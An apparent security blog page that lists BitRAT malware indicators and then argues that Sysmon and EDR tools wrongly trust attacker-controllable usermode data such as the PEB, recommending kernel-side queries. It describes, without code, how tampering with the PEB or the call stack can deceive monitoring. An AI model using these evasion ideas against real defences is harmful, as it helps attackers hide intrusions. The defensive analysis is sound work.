  • 495bf0fc6abef22302d9ac4c66017fc6c7b767b32746db296ac8d25e77e28906
  • d0abc08b50b1285f484832548dab453203f9b654e2a36c1675d3a9e835419ff4
  • eb82628a61e11bf8a91a687ce55a4615ef3d744635a864aefa7e79c8091ce55c
  • e7860957e268e4cdb8b63a3cf81f450cbfbb31d1cf78e6cc11f6f15cb157b409

Network Indicators

  • TLS certificate with subject matching issuer and CN=BitRAT.
  • Tor traffic.
  • User-agent: “libcurl-agent/1.0” (though this would also be present in some legitimate traffic).


I’ve published the source code of several scripts and tools I made during the process of reverse engineering. I’ve only published one of the string decryption scripts because the rest are rather unfinished and unreliable. The command hook tool uses the Subhook library. You can view the code on Gitlab.

Relying on usermode data is a bad idea (AKA Stop Trusting The Enemy)

Posted on

This is going to be a relatively short post which won’t contain much code in itself but rather some observations I made on the state of existing security and logging utilities, with Sysmon’s handling of usermode modules being the case study.

Recently, a lot of people realized that Sysmon’s stack trace feature is quite useful for detecting code execution from non-module memory. This feature is indeed very nice and can detect most existing attacks which rely on code injection or manual mapping, however the implementation is significantly flawed. 0x00dtm rightly pointed out this out, which resulted in anyone being able to tamper with the PEB and feed false data to Sysmon.

This issue is not isolated, it is the norm. A significant amount of existing EDRs and monitoring tools rely on information that is fully controllable by the threats they’re supposed to stop. From usermode hooking to relying on the PEB for information about a process, the assumption that usermode data is safe for consumption is ubiquitous. Does this not clearly create a giant gap where an attacker can manipulate the information that EDRs and SIEMs depend on to provide context to defenders, giving them the ability to deceive defenders and security solutions?

Given this example of Sysmon relying on PEB to find out where calls are coming from and the problem with it, what is the right way to do things that doesn’t rely on information controllable by the attacker? Why, APIs provided by the Windows Kernel for this very purpose, of course. Calling ZwQueryVirtualMemory with MemoryMappedFilenameInformation will get you the module a memory address belongs to (if any) in a reliable manner.

Here’s a bit of in-depth details which hopefully explains why this method is more reliable than reading PEB. The VAD tree structure describes the virtual address space of a process. VAD (Virtual Address Descriptor) entries have a _CONTROL_AREA structure, which contains the field FilePointer of type _FILE_OBJECT. This field is set whenever Windows map a file to a process’s virtual memory, and points to a descriptor for the file that was mapped. And, where does this all get stored? In the kernel address space. What does this mean? That means this information is out of reach for an attacker sitting in usermode, who has no way to mess with the VAD the way they could freely modify the PEB.

Given this, a question must be asked. Why are people still making the assumption that we can trust the integrity of usermode data, which is fully controllable by any attacker who has achieved code execution?

On a bit of a tangent, even were ZwQueryVirtualMemory used, it is still possible to mess with the calltrace through stack manipulation (though this requires significantly more effort and has more constraints compared to the previous method). I’m not going to go into details into this right now, maybe I’ll share my PoC and further information in another post.

Of course, relying on information from the kernel alone and blindly isn’t a silver bullet to stop all the manipulations that can happen. Window’s handling of file renames as an example is notoriously problematic and causes significant visibility gaps for monitoring/security solutions. Regardless, the point is clear: trusting usermode data, even when sanitized somewhat, is a terrible terrible idea. Usermode data should only be used when no reliable alternatives are available – lest it be used to deceive the very defenders it is supposed to inform.

Protected: c

Posted on

This content is password protected. To view it please enter your password below:

Protected: b

Posted on

This content is password protected. To view it please enter your password below: